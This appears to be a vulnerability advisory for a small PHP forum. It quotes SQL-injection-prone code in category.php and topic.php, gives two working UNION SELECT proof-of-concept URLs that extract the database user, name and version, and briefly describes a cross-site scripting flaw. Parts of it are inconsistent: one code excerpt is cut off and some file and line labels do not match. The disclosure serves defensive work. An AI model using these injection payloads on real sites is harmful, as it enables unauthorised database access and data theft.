  VULNERABILITY: SQL Injection (Category,Topic)
  ##############################################
   
  /category.php (LINE: 7-16)
   
  -----------------------------------------------------------------------------
  LINE 7-16:
  
  $sql = "SELECT
  			cat_id,
  			cat_name,
  			cat_description
  		FROM
  			categories
  		WHERE
  			cat_id = " . mysql_real_escape_string($_GET['id']);
  
  $result = mysql_query($sql);
  -----------------------------------------------------------------------------
  
  
  /topic.php (LINE: 7-16)
   
  -----------------------------------------------------------------------------
  LINE 11-19:
  
  $sql = "SELECT
  			topic_id,
  			topic_subject

  DESCRIPTION FOR SQL INJECTION
  #####################################################
   
  An attacker might execute arbitrary SQL commands on the database server with this vulnerability. 
  User tainted data is used when creating the database query that will be executed on the database management system (DBMS). 
  An attacker can inject own SQL syntax thus initiate reading, inserting or deleting database entries or attacking the underlying operating system 
  depending on the query, DBMS and configuration.
  
  POC:
  
  http://target/nano/category.php?id=9%20and%201%20div%202%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29,3
  http://target/nano/topic.php?id=10%20and%201%20div%200%20union%20select%201,concat%28user%28%29,0x3a3a,database%28%29,0x3a3a,version%28%29%29

  VULNERABILITY: Cross Site Scripting (Create_topic.php)
  #####################################################
   
  /category.php (LINE: 106-119)
   
  -----------------------------------------------------------------------------
  LINE 106-119:
  
  $topicid = mysql_insert_id();
  				
  				$sql = "INSERT INTO
  							posts(post_content,
  								post_date,
  								post_topic,
  								post_by)
  						VALUES
  							('" . mysql_real_escape_string($_POST['post_content']) . "',
  								NOW(),
  								" . $topicid . ",
  								" . $_SESSION['user_id'] . "
  							)";
  				$result = mysql_query($sql);

  DESCRIPTION FOR CROSS SITE SCRIPTING
  #####################################################
   
  An attacker might execute arbitrary HTML/JavaScript Code in the clients browser context with this security vulnerability. 
  User tainted data is embedded into the HTML output by the application and rendered by the users browser, thus allowing an attacker 
  to embed and render malicious code. Preparing a malicious link will lead to an execution of this malicious code in another users browser 
  context when clicking the link. This can lead to local website defacement, phishing or cookie stealing and session hijacking.
